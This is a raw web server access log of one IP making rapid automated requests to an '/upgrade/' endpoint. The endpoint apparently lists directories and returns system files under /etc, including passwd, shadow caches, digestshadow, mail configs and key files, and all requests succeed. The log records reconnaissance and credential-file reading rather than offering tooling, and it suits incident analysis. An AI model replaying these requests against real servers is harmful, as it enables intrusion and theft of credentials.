45.135.193.11 - - [11/Sep/2026:23:06:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe2image&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53467 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe2image&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:58 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fftpddisable&location=%2Fetc%2F HTTP/1.1" 200 28617 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fftpddisable&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:58 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fmy.cnf&location=%2Fetc%2F HTTP/1.1" 200 28852 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fmy.cnf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:58 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnamed.conf.cache&location=%2Fetc%2F HTTP/1.1" 200 28659 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnamed.conf.cache&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:58 -0400] "GET /upgrade/?location=%2Fetc%2Fauthselect HTTP/1.1" 200 6761 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fauthselect" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:58 -0400] "GET /upgrade/?location=%2Fetc%2Fissue.d HTTP/1.1" 200 5722 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fissue.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:58 -0400] "GET /upgrade/?location=%2Fetc%2Fmodules-load.d HTTP/1.1" 200 5729 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fmodules-load.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:58 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fbackupmxhosts&location=%2Fetc%2F HTTP/1.1" 200 28665 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fbackupmxhosts&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:58 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fcrontab&location=%2Fetc%2F HTTP/1.1" 200 28899 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fcrontab&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:58 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fcsh.cshrc&location=%2Fetc%2F HTTP/1.1" 200 29301 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fcsh.cshrc&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:58 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Ffreetds.conf&location=%2Fetc%2F HTTP/1.1" 200 29335 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Ffreetds.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:59 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Foddjobd.conf&location=%2Fetc%2F HTTP/1.1" 200 30271 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Foddjobd.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:59 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fexim.conf&location=%2Fetc%2F HTTP/1.1" 200 50903 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fexim.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:59 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fpure-ftpd.pem&location=%2Fetc%2F HTTP/1.1" 200 28622 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fpure-ftpd.pem&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:59 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Frecent_recipient_mail_server_ips&location=%2Fetc%2F HTTP/1.1" 200 28684 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Frecent_recipient_mail_server_ips&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:59 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsubuid&location=%2Fetc%2F HTTP/1.1" 200 28653 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsubuid&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:59 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fuserdatadomains&location=%2Fetc%2F HTTP/1.1" 200 28611 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fuserdatadomains&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:59 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fuserdatadomains.json&location=%2Fetc%2F HTTP/1.1" 200 28663 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fuserdatadomains.json&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:59 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fwwwacct.conf.shadow&location=%2Fetc%2F HTTP/1.1" 200 28663 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fwwwacct.conf.shadow&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:59 -0400] "GET /upgrade/?location=%2Fetc%2Frequest-key.d HTTP/1.1" 200 6064 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Frequest-key.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:59 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsensors3.conf&location=%2Fetc%2F HTTP/1.1" 200 30917 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsensors3.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:59 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fwpmm-watchdog.json.bak.20260909_183942&location=%2Fetc%2F HTTP/1.1" 200 28687 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fwpmm-watchdog.json.bak.20260909_183942&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:00 -0400] "GET /upgrade/?location=%2Fetc%2Ffwupd HTTP/1.1" 200 6268 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Ffwupd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:00 -0400] "GET /upgrade/?location=%2Fetc%2Fpolkit-1 HTTP/1.1" 200 6135 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fpolkit-1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:00 -0400] "GET /upgrade/?location=%2Fetc%2Frc.d HTTP/1.1" 200 6512 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Frc.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:00 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fgroup&location=%2Fetc%2F HTTP/1.1" 200 29394 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fgroup&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:00 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fexports&location=%2Fetc%2F HTTP/1.1" 200 28652 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fexports&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:00 -0400] "GET /upgrade/?location=%2Fetc%2Ffirewalld HTTP/1.1" 200 5744 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Ffirewalld" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:00 -0400] "GET /upgrade/?location=%2Fetc%2Fudev HTTP/1.1" 200 6341 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fudev" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:00 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2F.pwd.lock&location=%2Fetc%2F HTTP/1.1" 200 28696 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2F.pwd.lock&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:00 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnetconfig&location=%2Fetc%2F HTTP/1.1" 200 29027 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnetconfig&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?full_path=%2Fetc&location=%2Fetc%2F HTTP/1.1" 200 28634 "http://163.245.207.76:443/upgrade/?full_path=%2Fetc&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?location=%2Fetc%2Fbluetooth HTTP/1.1" 200 6245 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fbluetooth" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?location=%2Fetc%2Fgssproxy HTTP/1.1" 200 6232 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fgssproxy" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?location=%2Fetc%2Fxml HTTP/1.1" 200 6045 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fxml" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fhostname&location=%2Fetc%2F HTTP/1.1" 200 28656 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fhostname&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?location=%2Fetc%2Fkeys HTTP/1.1" 200 5924 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fkeys" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?location=%2Fetc%2Fpm HTTP/1.1" 200 6041 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fpm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fipaddrpool&location=%2Fetc%2F HTTP/1.1" 200 28684 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fipaddrpool&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?location=%2Fetc%2FX11 HTTP/1.1" 200 6139 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2FX11" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?location=%2Fetc%2Fchkconfig.d HTTP/1.1" 200 5726 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fchkconfig.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?location=%2Fetc%2Flogrotate.d HTTP/1.1" 200 7711 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Flogrotate.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fmagic&location=%2Fetc%2F HTTP/1.1" 200 28685 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fmagic&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fdemousers&location=%2Fetc%2F HTTP/1.1" 200 28695 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fdemousers&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:01 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fshadow.nouids.cache&location=%2Fetc%2F HTTP/1.1" 200 28743 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fshadow.nouids.cache&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:02 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fuserips&location=%2Fetc%2F HTTP/1.1" 200 28690 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fuserips&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:02 -0400] "GET /upgrade/?location=%2Fetc%2F HTTP/1.1" 200 28623 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:02 -0400] "GET /upgrade/?location=%2Fetc%2Fglvnd HTTP/1.1" 200 5928 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fglvnd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:02 -0400] "GET /upgrade/?location=%2Fetc%2Flibreport HTTP/1.1" 200 6125 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Flibreport" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:02 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fhosts&location=%2Fetc%2F HTTP/1.1" 200 28788 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fhosts&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:02 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fpasswd&location=%2Fetc%2F HTTP/1.1" 200 29850 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fpasswd&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:02 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Frecent_authed_mail_ips&location=%2Fetc%2F HTTP/1.1" 200 28733 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Frecent_authed_mail_ips&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:02 -0400] "GET /upgrade/?location=%2Fetc%2FNetworkManager HTTP/1.1" 200 6400 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2FNetworkManager" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:02 -0400] "GET /upgrade/?location=%2Fetc%2Fceph HTTP/1.1" 200 5719 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fceph" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:02 -0400] "GET /upgrade/?location=%2Fetc%2Fcrypto-policies HTTP/1.1" 200 6379 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fcrypto-policies" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:03 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsubgid-&location=%2Fetc%2F HTTP/1.1" 200 28714 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsubgid-&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:03 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsystem-release&location=%2Fetc%2F HTTP/1.1" 200 28738 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsystem-release&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:03 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsystem-release-cpe&location=%2Fetc%2F HTTP/1.1" 200 28698 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsystem-release-cpe&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:03 -0400] "GET /upgrade/?location=%2Fetc%2Fdconf HTTP/1.1" 200 6003 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fdconf" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:03 -0400] "GET /upgrade/?location=%2Fetc%2Fdebuginfod HTTP/1.1" 200 6090 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fdebuginfod" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:03 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fadjtime&location=%2Fetc%2F HTTP/1.1" 200 28707 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fadjtime&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:03 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fcpbackup-exclude.conf&location=%2Fetc%2F HTTP/1.1" 200 28765 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fcpbackup-exclude.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:03 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fdigestshadow&location=%2Fetc%2F HTTP/1.1" 200 28697 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fdigestshadow&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:03 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnamed.root.key&location=%2Fetc%2F HTTP/1.1" 200 29093 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnamed.root.key&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:03 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fpasswd.nouids.cache&location=%2Fetc%2F HTTP/1.1" 200 28191 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fpasswd.nouids.cache&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:04 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fprintcap&location=%2Fetc%2F HTTP/1.1" 200 28846 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fprintcap&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:04 -0400] "GET /upgrade/?location=%2Fetc%2Fmicrocode_ctl HTTP/1.1" 200 5935 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fmicrocode_ctl" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:04 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fanacrontab&location=%2Fetc%2F HTTP/1.1" 200 28929 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fanacrontab&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:04 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fcsh.login&location=%2Fetc%2F HTTP/1.1" 200 29131 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fcsh.login&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:04 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Flocaldomains&location=%2Fetc%2F HTTP/1.1" 200 28656 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Flocaldomains&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:04 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Frequest-key.conf&location=%2Fetc%2F HTTP/1.1" 200 29395 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Frequest-key.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:04 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Frsyslog.conf&location=%2Fetc%2F HTTP/1.1" 200 30273 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Frsyslog.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
